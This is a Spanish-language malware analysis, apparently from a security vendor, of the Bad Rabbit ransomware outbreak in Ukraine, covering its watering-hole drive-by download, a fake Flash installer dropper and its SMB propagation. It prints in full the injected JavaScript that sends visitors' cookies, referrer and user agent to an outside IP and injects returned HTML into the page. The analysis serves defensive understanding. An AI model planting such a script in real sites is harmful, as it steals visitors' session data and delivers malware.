Un nuevo brote de ransomware atacó ayer a grandes infraestructuras en Ucrania, incluyendo al Metro de Kiev. Tal como prometimos ayer, hicimos un análisis más detallado y a continuación presentamos los hallazgos sobre esta nueva variante Diskcoder.D.
DRIVE-BY DOWNLOAD VÍA WATERING HOLE EN SITIOS POPULARES
Uno de los métodos de distribución de Bad Rabbit es un drive-by download. Algunos sitios populares son comprometidos usando la técnica watering hole y se les inyecta JavaScript en su HTML o en uno de sus archivos .js.
Aquí hay una versión pulida de la inyección:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
function e(d) {
var xhr = null;
if (!!window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else if (!!window.ActiveXObject) {
var xhrs = [‘Microsoft.XMLHTTP’, ‘Msxml2.XMLHTTP’, ‘Msxml2.XMLHTTP.3.0’,‘Msxml2.XMLHTTP.6.0’];
for (var i = 0; i < xhrs.length; i++) {
try {
xhr = ActiveXObject(xhrs[i]);
break;
} catch (e) {}
}
}
if (!!xhr) {
xhr.open(‘POST’, ‘http://185.149.120\.3/scholargoogle/’);
xhr.timeout = 10000;
xhr.setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var resp = xhr.responseText;
if (resp) {
var fans = JSON.parse(resp);
if (fans) {
var an_s = decodeURIComponent(fans.InjectionString).replace(/\+/g, ‘%20’);
var da = document.createElement(‘div’);
da.id = ‘ans’;
da.innerHTML = an_s;
document.body.appendChild(da);
}
}
}
};
var pd = [];
for (var k in d) {
if (d.hasOwnProperty(k)) {
pd.push(k + ‘=’ + d[k]);
}
}
var dc = pd.join(‘&’);
xhr.send(dc);
}
}
e({
‘agent’: navigator.userAgent,
‘referer’: document.referrer,
‘cookie’: document.cookie,
‘domain’: window.location.hostname,
‘c_state’: !!document.cookie
});
|
Este script reporta los siguientes componentes a 185.149.120[.]3, que no parece responder en este momento.
- User-Agent del navegador
- Referrer
- Cookie del sitio visitado
- Nombre de dominio del sitio visitado
La lógica de programación del lado del servidor puede determinar si el visitante es un blanco de interés y luego añadir contenido en la página. Hemos visto, por ejemplo, cómo aparece una ventana emergente pidiendo descargar una actualización de Flash Player en el medio de la página.
Al hacer clic en el botón “Instalar”, se inicia la descarga de un archivo ejecutable desde 1dnscontrol[.]com. Este ejecutable, install_flash_player.exe, es el dropper de Win32/Filecoder.D.
Luego, la computadora finalmente se bloquea y aparece el pedido de rescate típico del ransomware:
Esta es la página para hacer el pago:
PROPAGACIÓN VÍA SMB
Win32/Diskcoder.D tiene la habilidad de propagarse a través del protocolo Server Message Block (SMB). A diferencia de algunos reportes que han estado circulando, no explota la vulnerabilidad EternalBlue como era el caso en el brote de Win32/Diskcoder.C (Not-Petya).